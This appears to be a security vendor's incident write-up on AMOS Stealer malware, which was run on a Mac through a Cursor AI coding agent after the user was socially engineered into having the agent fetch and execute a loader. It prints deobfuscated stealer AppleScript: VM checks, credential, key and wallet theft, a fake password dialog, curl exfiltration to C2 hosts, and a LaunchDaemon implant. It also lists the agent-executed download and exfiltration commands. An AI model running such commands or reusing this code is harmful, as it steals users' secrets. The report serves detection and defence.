Security Intelligence
April 24, 2026 | Security intelligence From the experts
Field Effect detects AMOS Stealer delivered via Cursor AI agent session
Key findings
On April 23, 2026, Field Effect MDR detected and responded to an incident involving the execution of malicious and heavily obfuscated AppleScript commands through a Cursor agent session running Claude Code, identified as AMOS Stealer malware.
This incident appears to indicate a novel malware delivery technique in which an AI coding agent is prompted to download and execute malware loader scripts through social engineering of the operator.
While the delivery of AMOS Stealer through search engine optimization (SEO) poisoning and social engineering with AI technical support themes has previously been reported, and AMOS stealer has been observed leveraging malicious agent skills, this new use of social engineering to prompt a combination of user interaction and agentic malware download execution appears to indicate an evolution in AMOS Stealer delivery, or possible “widening of the net” targeting direct AI agent execution.
As a result of this delivery mechanism, all malicious commands were directly executed by the Cursor agent. This makes identification of malicious activity significantly more difficult, as downloading and executing scripts, rapid file access, and other observed malicious activity are consistent with typical agentic coding and AI agent session behavior.
Incident summary
Field Effect initially detected the AMOS Stealer malware when a suspicious pattern of commands to download and execute a file from an untrusted source were executed by a Cursor agent on a macOS endpoint. A review of this domain indicated that it has been previously observed and reported to be associated with a ClickFix-style campaign presenting fake Claude Code troubleshooting guides.
The resource path referencing n8n software update, below, also appears to be an attempt to masquerade as legitimate AI workflow activity.
curl -fkLsS https://arkypc[.]com/curl/<SHA256_Hash>
curl -o /tmp/helper https://arkypc[.]com/n8n/update
The downloaded file was then made executable and run directly by the Cursor agent, resulting in the execution of a sequence of two AppleScripts. These scripts performed initial sandbox-evasion, followed by the full AMOS Stealer payload, gaining elevated execution permissions by prompting the user to provide local account credentials.
A detailed analysis of the two scripts is included in the AppleScript Analysis section below.
xattr -c /tmp/helper
chmod +x /tmp/helper
/tmp/helper
The AMOS Stealer AppleScript payload collected sensitive data, including credentials, SSH and similar access keys, and cryptocurrency wallet information from browsers and the local system. Data was staged for exfiltration and compressed to an archive at path `/tmp/out.zip`, then split into 25 MB portions and uploaded to a second remote server via curl.
curl --connect-timeout 120 --max-time 300 -X POST -H user: <data> -H BuildID: <data> -H cl: 0 -H cn: 0 -H X-Chunk-ID: <data> -H X-Chunk-Part: 0 -H X-Chunk-Total: 2 -F file=@/tmp/chunk_aa https://lakhov[.]com/contact
The initial data collection and exfiltration was fully automated, and the full time from first malicious download to data upload was under two minutes.
Following the initial "smash and grab"-style attack targeting common sensitive data locations, the installation of a more stealthy and persistent implant was observed. Software leveraging common macOS software naming conventions to masquerade as a legitimate service was downloaded and registered for persistent execution.
AppleScript analysis
Script obfuscation
Both AppleScripts were obfuscated though the use of unreadable function and variable names, as well as through the replacement of large portions using charcode further modified by adding arbitrary values to each character.
Example obfuscated code:
on cqfjdxlx(jsordsqub, eqhvrkhfxwif, tirvglkgcf)
try
set mjhuumxw192 to (gtkopxos({130, 260, 211, 208, 227, 265, 186}, {83, 195, 99, 96, 119, 160, 87}))
set mjhuumxw193 to (qsgasyjiwf({72, 185, 240, 61, 164, 78, 87}, {25, -69, -135, 50, -54, 37, -40}))
set mjhuumxw194 to (smkjgbiwap({206, 332, 296, 325, 251, 357, 196}, {39, 135, 112, 120, 57, 160, 81}, 83))
set mjhuumxw195 to (gtkopxos({293, 325, 299, 316, 338, 161, 287}, {210, 208, 194, 200, 237, 115, 190}))
set mjhuumxw196 to (smkjgbiwap({236, 308}, {53, 125}, 71))
set aovkqmov to (mjhuumxw192 & mjhuumxw193 & mjhuumxw194 & mjhuumxw195 & mjhuumxw196)
list folder POSIX file aovkqmov
set mjhuumxw197 to (gtkopxos({180, 257, 268, 345, 309, 257, 195, 334}, {133, 211, 160, 234, 206, 154, 94, 234}))
set mfnnetgczcs to jsordsqub & mjhuumxw197
set mjhuumxw198 to (gtkopxos({290, 310, 241, 101, 211, 186}, {176, 201, 209, 56, 109, 154}))
do shell script mjhuumxw198 & quoted form of mfnnetgczcs
A decoding function included in the first script accepts two lists of integers as input, subtracting the values in the second list from the values in the first, then converting the resulting charcode list to a string.
The decoding function revised for readability is included below.
on decode_charcode_1(encoded_charcode, key_offsets)
set decoded_string to ""
set counter to 0
repeat with char_index from 1 to count of encoded_charcode
set counter to (counter + (item char_index of encoded_charcode)) mod 9999
set decoded_string to decoded_string & (character id ((item char_index of encoded_charcode) - (item char_index of key_offsets)))
end repeat
return decoded_string
end decode_charcode_1
The second script employed the same charcode decoding function, as well as two additional decoding functions with similar behavior.
on decode_charcode_2(encoded_charcode, key_offsets)
set decoded_string to ""
set counter to 1
repeat with char_index from 1 to count of encoded_charcode
set counter to (counter + (item char_index of key_offsets)) mod 9999
set decoded_string to decoded_string & (character id ((item char_index of encoded_charcode) + (item char_index of key_offsets)))
set counter to counter + 1
end repeat
return decoded_string
end decode_charcode_2
on decode_charcode_3(encoded_charcode, key_offsets, base_offset)
set decoded_string to ""
set counter to 0
repeat with char_index from 1 to count of encoded_charcode
set temp_char to ((item char_index of encoded_charcode) - base_offset)
set temp_char to temp_char - (item char_index of key_offsets)
set decoded_string to decoded_string & (character id temp_char)
set counter to (counter + temp_char) mod 9999
end repeat
return decoded_string
end decode_charcode_3
First script: Sandbox evasion
The first AppleScript executed by the Cursor agent performed local system reconnaissance aimed at sandbox-evasion. This is a common technique in which malware attempts to identify whether it may be executing in a disposable security research environment, such as a virtual machine.
This script collects information on the local system using commands `system_profiler SPMemoryDataType` and `system_profiler SPHardwareDataType`, then compares the result against a list of strings associated with known hypervisors and virtual machine architectures.
set hypervisor_strings to {"QEMU", "VMware", "KVM"}
set vm_strings to {"Z31FHXYQ0J", "C07T508TG1J2", "C02TM2ZBHX87", "Chip: Unknown", "Intel Core 2", "Virtual Machine", "VirtualMac", "(Virtual)"}
set is_vm to false
repeat with item in hypervisor_strings
if do shell script "system_profiler SPMemoryDataType" contains item then
set is_vm to true
exit repeat
end if
end repeat
if not is_vm then
repeat with item in vm_strings
if do shell script "system_profiler SPHardwareDataType" contains item then
set is_vm to true
exit repeat
end if
end repeat
end if
If any string matches, the script exits returning an error code, preventing the second stage AppleScript from executing.
if is_vm then
do shell script "exit 100"
else
do shell script "exit 0"
end if
Second script: AMOS Stealer
Data collection
The second AppleScript performed collection of sensitive information on the local system, copying local systems files from locations commonly containing sensitive information, including credentials, keys and session information, Telegram data, and cryptoccurency wallets.
on copy_from_dir(src_folder, dst_folder)
try
set excluded_items to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "GPUCache", "DawnCache", "Crashpad", "DawnWebGPUCache", "DawnGraphiteCache", "__update__", "tor", "dumps", "emoji", "user_data", "user_data#2", "user_data#3"}
set src_contents to list folder src_folder without invisibles
make_directory(dst_folder)
repeat with itemRef in src_contents
set item_name to contents of itemRef
if item_name is not in excluded_items then
set src_path to src_folder & "/" & item_name
set dst_path to dst_folder & "/" & item_name
if is_directory(src_path) then
copy_from_dir(src_path, dst_path)
else
copy_file(src_path, dst_path)
end if
end if
end repeat
end try
end copy_from_dir
on extract_value_from_file(file_path, search_key)
try
set file_ref to POSIX file file_path
set file_contents to read file_ref
set key_offset to offset of search_key in file_contents
if key_offset is 0 then return "not found"
set value_start to key_offset + (length of search_key)
set value_snippet to text value_start thru (value_start + 55) of file_contents
set delimiter_offset to offset of "\\" in value_snippet
if delimiter_offset is 0 then return "not found"
set extracted_value to text value_start thru (value_start + delimiter_offset - 2) of file_contents
return extracted_value
on error
return "not found"
end try
end extract_value_from_file
The script additionally targets web browser data, copying user profile data such as history and cookies, and searching for a large hard-coded list of cryptocurrency wallet extension IDs.
property wallet_extensions : {"abamjefkidngfegdjbmffdmbgjgpaobf", "abjfbanhppgiflmobebfffbijcfoeiao", ...
on steal_chromium_data(staging_dir, browser_configs, include_history)
set target_files to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/", "/Local Storage/leveldb/"}
if include_history is equal to "true" then
set target_files to target_files & {"/History"}
end if
repeat with browser_config in browser_configs
set browser_name to item 1 of browser_config
set profiles_base to item 2 of browser_config
set profile_staging_prefix to staging_dir & "Chromium/" & browser_name & "_"
try
set profiles_list to list folder profiles_base without invisibles
repeat with profile_name in profiles_list
if ((profile_name as string) is equal to "Default") or ((profile_name as string) contains "Profile") then
set found_wallet_extension to false
repeat with target_file in target_files
set src_folder to (profiles_base & profile_name & target_file)
set profile_dst_prefix to profile_staging_prefix & profile_name
set dst_suffix to target_file
if ((target_file as string) is equal to "/Network/Cookies") then
set dst_suffix to "/Cookies"
end if
if ((target_file as string) is equal to "/Local Extension Settings/") then
if has_target_extension(src_folder, wallet_extensions) then
set found_wallet_extension to true
end if
steal_matching_extensions(src_folder, profile_dst_prefix, wallet_extensions, false)
else if (target_file as string) is equal to "/IndexedDB/" then
if has_target_extension(src_folder, wallet_extensions) then
set found_wallet_extension to true
end if
steal_matching_extensions(src_folder, profile_dst_prefix, wallet_extensions, true)
else if (target_file as string) is equal to "/Local Storage/leveldb/" then
if found_wallet_extension then
copy_from_dir(src_folder, profile_dst_prefix & "/Local Storage/leveldb/")
end if
else
copy_file(src_folder, profile_dst_prefix & dst_suffix)
end if
end repeat
end if
end repeat
end try
end repeat
end steal_chromium_data
The following is a sample of resulting data collection commands executed on the endpoint by the Cursor agent:
cp -f /Users//Library/Application Support/Telegram Desktop/tdata/key_datas /tmp//Telegram Data/key_datas
cp -f /Users//Library/Application Support/Binance/app-store.json/tmp//deskwallets/Binance/app-store.json
cp -f /Users//Library/Application Support/@tonkeeper/desktop/config.json /tmp//deskwallets/TonKeeper/config.json
cp -f /Users//Library/Keychains/login.keychain-db /tmp//login.keychain-db
cp -f /Users//.ssh//known_hosts.old /tmp//FileGrabber/ssh//known_hosts.old
cp -f /Users//.ssh//config /tmp//FileGrabber/ssh//config
cp -f /Users//.ssh//id_rsa /tmp//FileGrabber/ssh//id_rsa
cp -f /Users//.ssh//id_rsa.pub /tmp//FileGrabber/ssh//id_rsa.pub
cp -f /Users//.ssh//known_hosts /tmp//FileGrabber/ssh//known_hosts
cp -f /Users//.aws/credentials /tmp//FileGrabber/aws/credentials
cp -f /Users//.aws/config /tmp//FileGrabber/aws/config
cp -f /Users//.config/gcloud/application_default_credentials.json /tmp//FileGrabber/gcloud/credentials.json
cp -f /Users//.config/gcloud/credentials.db /tmp//FileGrabber/gcloud/credentials.db
cp -f /Users//.docker/config.json /tmp//FileGrabber/docker/config.json
cp -f /Users//.filezilla/sitemanager.xml /tmp//FileGrabber/filezilla/sitemanager.xml
cp -f /Users//.filezilla/recentservers.xml /tmp//FileGrabber/filezilla/recentservers.xml
cp -f /Users//.zsh_history /tmp//FileGrabber/zsh_history
cp -f /Users//Library/Application Support/Firefox/Profiles/.default/cookies.sqlite /tmp//ff/Firefox_.default/cookies.sqlite
cp -f /Users//Library/Application Support/Firefox/Profiles/.default/formhistory.sqlite /tmp//ff/Firefox_.default/formhistory.sqlite
cp -f /Users//Library/Application Support/Firefox/Profiles/.default/key4.db /tmp//ff/Firefox_.default/key4.db
cp -f /Users//Library/Application Support/Firefox/Profiles/.default/logins.json /tmp//ff/Firefox_.default/logins.json
cp -f /Users//Library/Application Support/Firefox/Profiles/.default/extensions.json /tmp//ff/Firefox_.default/extensions.json
cp -f /Users//Library/Application Support/Firefox/Profiles/.default/extension-preferences.json /tmp//ff/Firefox_.default/extension-preferences.json
cp -f /Users//Library/Application Support/Google/Chrome/Profile 1/Network/Cookies /tmp//Chromium/Chrome_Profile 1/Cookies
cp -f /Users//Library/Application Support/Google/Chrome/Profile 1/Cookies /tmp//Chromium/Chrome_Profile 1/Cookies
cp -f /Users//Library/Application Support/Google/Chrome/Profile 1/Web Data /tmp//Chromium/Chrome_Profile 1/Web Data
cp -f /Users//Library/Application Support/Google/Chrome/Profile 1/Login Data /tmp//Chromium/Chrome_Profile 1/Login Data
Local account credentials
The script additionally presents the user with a social engineering prompt to obtain local account credentials through user input. These credentials are later used to execute commands on the local system with elevated permissions.
on verify_password(username, password_attempt)
try
set auth_result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_attempt
return auth_result is equal to ""
on error
return false
end try
end verify_password
on prompt_user_password(username, staging_dir)
try
if verify_password(username, "") then
write_file(do shell script "security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'" as string, staging_dir & "masterpass-chrome")
else
set first_attempt to true
repeat
if first_attempt then
set prompt_msg to "macOS wants to make changes. Enter the password for user "" & username & "" to allow this."
else
set prompt_msg to "The password you entered is incorrect. Please enter the password for user "" & username & "\"."
end if
set dialog_result to display dialog prompt_msg default answer "" with icon caution buttons {"OK"} default button "OK" with hidden answer with title "macOS"
set password_entered to text returned of dialog_result
set first_attempt to false
if verify_password(username, password_entered) then
return password_entered
end if
end repeat
end if
end try
return ""
end prompt_user_password
Exfiltration
Once targeted files have been copied to the data staging directory, the script compresses the directory to a .zip archive, splits it into 25 MB portions, and uploads the results to a remote server. In the event that the remote server domain cannot be resolved, a fallback hard-coded IP address is used.
After successful exfiltration is verified, staging directories and other artifacts are removed.
on upload_to_c2(c2_url, username, build_id, cl_value, cn_value)
set max_single_upload_size to 26214400
set http_headers to "-H "user: " & username & "" -H "BuildID: " & build_id & "" -H "cl: " & cl_value & "" -H "cn: " & cn_value & "\""
set zip_file_size to (do shell script "stat -f%z /tmp/out.zip") as integer
if zip_file_size is less than or equal to max_single_upload_size then
upload_zip(c2_url, http_headers)
return
end if
do shell script "split -b " & max_single_upload_size & " /tmp/out.zip /tmp/chunk_"
set chunk_id to do shell script "head -c 8 /dev/urandom | xxd -p"
set chunk_files to paragraphs of (do shell script "ls -1 /tmp/chunk_* | sort")
set chunk_count to count of chunk_files
set all_chunks_uploaded to true
repeat with chunk_index from 1 to chunk_count
set chunk_file to item chunk_index of chunk_files
set chunk_part to (chunk_index - 1) as text
set chunk_headers to http_headers & " -H "X-Chunk-ID: " & chunk_id & "" -H "X-Chunk-Part: " & chunk_part & "" -H "X-Chunk-Total: " & (chunk_count as text) & "\""
set chunk_uploaded to false
repeat with attempt from 1 to 3
try
do shell script "curl --connect-timeout 120 --max-time 300 -X POST " & chunk_headers & " -F "file=@" & chunk_file & "\" " & c2_url & "/contact"
set chunk_uploaded to true
exit repeat
end try
delay 10
end repeat
if not chunk_uploaded then
set all_chunks_uploaded to false
end if
end repeat
do shell script "rm -f /tmp/chunk_*"
if all_chunks_uploaded then return
set fallback_url to "http://92.246.136[.]14"
repeat with attempt from 1 to 3
try
do shell script "curl --connect-timeout 180 --max-time 600 -X POST " & http_headers & " -F "file=@/tmp/out.zip" " & fallback_url & "/contact"
return
end try
delay 15
end repeat
end upload_to_c2
on upload_zip(c2_url, http_headers)
repeat with attempt from 1 to 3
try
do shell script "curl --connect-timeout 120 --max-time 300 -X POST " & http_headers & " -F "file=@/tmp/out.zip" " & c2_url & "/contact"
return
end try
delay 15
end repeat
set fallback_url to "http://92.246.136[.]14"
repeat with attempt from 1 to 3
try
do shell script "curl --connect-timeout 120 --max-time 300 -X POST " & http_headers & " -F "file=@/tmp/out.zip" " & fallback_url & "/contact"
return
end try
delay 15
end repeat
end upload_zip
The following corresponding commands were executed on the endpoint by the Cursor agent:
ditto -c -k --sequesterRsrc /tmp// /tmp/out.zip
split -b 26214400 /tmp/out.zip /tmp/chunk_
curl --connect-timeout 120 --max-time 300 -X POST -H user: -H BuildID: -H cl: 0 -H cn: 0 -H X-Chunk-ID: -H X-Chunk-Part: 0 -H X-Chunk-Total: 2 -F file=@/tmp/chunk_aa https://lakhov[.]com/contact
curl --connect-timeout 120 --max-time 300 -X POST -H user: -H BuildID: -H cl: 0 -H cn: 0 -H X-Chunk-ID: -H X-Chunk-Part: 1 -H X-Chunk-Total: 2 -F file=@/tmp/chunk_ab https://lakhov[.]com/contact
Persistent implant
Following initial data exfiltration, a persistent implant was installed on the system and registered for persistent execution as a service. The implant is named to masquerade as legitimate macOS system software. Interestingly, the variable name `botDir` was not obfuscated in the original form of the script.
set botDir to root_path & "/Library/Application Support/.com.apple.accountsd"
set botBin to botDir & "/AccountsHelper"
set agentPath to botDir & "/.service"
set daemonLabel to "com.apple.accountsd.helper"
set daemonPlist to "/Library/LaunchDaemons/" & daemonLabel & ".plist"
The following corresponding commands were executed on the endpoint by the Cursor agent:
curl -o /Users//Library/Application Support/.com.apple.accountsd/AccountsHelper https://ouilov[.]com/zxc/kito
chmod +x /Users//Library/Application Support/.com.apple.accountsd/AccountsHelper
chmod +x /Users//Library/Application Support/.com.apple.accountsd/.service
sh -c echo '' | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.apple.accountsd.helper.plist
sh -c echo '' | sudo -S chown root:wheel /Library/LaunchDaemons/com.apple.accountsd.helper.plist
sh -c echo '' | sudo -S launchctl load /Library/LaunchDaemons/com.apple.accountsd.helper.plist
Where required, commands were executed with elevated permissions by piping the local account's password to 'sudo'. This password was likely cached by the AppleScript prompting the user to input local account credentials.
Detecting the threat with Field Effect MDR
Safe use of AI agents requires constant auditing of commands, resource access, and other behaviors that may indicate malicious activity. While it is not always practical to validate every command executed by an AI agent, we recommend auditing use of sensitive commands such as 'curl' and 'chmod'.
Field Effect MDR leverages a combination of automated detections, AI and Machine Learning analytics, and human analysts to monitor anomalous activity for indication of possible malicious use of legitimate tools, including AI agents.
Initial access & execution
- Detection of suspicious scripting activity (e.g., AppleScript, curl, chmod) using behavioral analytics
- Monitors user execution of unsigned or ad-hoc signed binaries to catch social engineering attempts
Persistence & defense evasion
- Tracks creation/modification of LaunchDaemons and LaunchAgents
- Flags masquerading binaries and command obfuscation techniques
Credential access
-
Detects unauthorized access to Keychain and browser credentials
-
Monitors suspicious prompts for credential theft
Command and control (C2)
-
Flags anomalous curl usage and monitors for connections to malicious infrastructure
-
Uses DNS firewall and network analytics to block and detect covert communications
Collection & exfiltration
-
Detects data staging and exfiltration tools like curl, rsync, and compression software
-
Integrates DLP to monitor unauthorized data egress from sensitive directories
Discovery
-
Monitors system/network reconnaissance commands
-
Uses UEBA to detect abnormal user behavior and system enumeration
Response & integration
-
Supports both automated and analyst-guided responses, including endpoint isolation and malware blocking
Conclusion
By prompting a user to execute malicious scripts via an AI coding agent, resulting malicious commands and other behavior are more difficult to identify against a background of similar activity executed legitimately during the agent session.
Use of the agent session continued throughout the execution of malicious scripts, further inserting benign download and file access commands into the execution timeline.
Detection opportunities
Behavioral detection
Wherever possible, Field Effect MDR prioritizes behavioral monitoring to successfully detect changing or previously unseen threats. The following unique characteristics of AMOS Stealer present possible opportunities for behavioral detection.
Example behaviors:
- AppleScript commands indicating prompts for user credentials.
- Access to sensitive file locations, including browser data, by untrusted or scripting software.
- Modification of Launch Daemon or Launch Agent ‘.plist’ files by untrusted or scripting software.
- Elevated command execution by piping explicit credentials to sudo: `sh -c echo '<password>' | sudo -S <command>`
Field Effect MDR will additionally tune detections around environmental behavior and context in order to precisely detect anomalous behavior, when legitimate tools and commands are leveraged by threat actors.
Network indicators of compromise (IOCs)
Loader and AppleScripts
| Domain | arkypc[.]com |
| Domain | lakhov[.]com |
| Domain | ouilov[.]com |
| IP address | 92.246.136[.]14 |
Persistence implants
| Domain | foto[.]gd |
| Domain | mpasvw[.]com |
| IP address | 45.94.47[.]204 |
Endpoint indicators of compromise (IOCs)
Loader
| File path | /private/tmp/helper |
| MD5 hash | 312147C0AE0D555A4D50FA627FF7D4F3 |
| SHA1 hash | 62360EA3B0030238B31DCAE402F94C9C73474154 |
| SHA256 hash | 8EF98FD781A6F1869657FC1ACBC9B43A228A99E6FA5FE39C47CCE8AB58066596 |
| Signing ID | setup |
Persistence implant
| File path | /Users/<username>/Library/Application Support/.com.apple.accountsd/AccountsHelper |
| MD5 hash | C54620DD3745FDEAFF5CCC0DB4132F11 |
| SHA1 hash | DF297141E4676B40C29739033468D58163280067 |
| SHA256 hash | C11BFC200C363EF76AD40B717B5A850DAF699F6FA64A26A8ECF7848711BDBD9C |
| Signing ID | kito |


.jpg)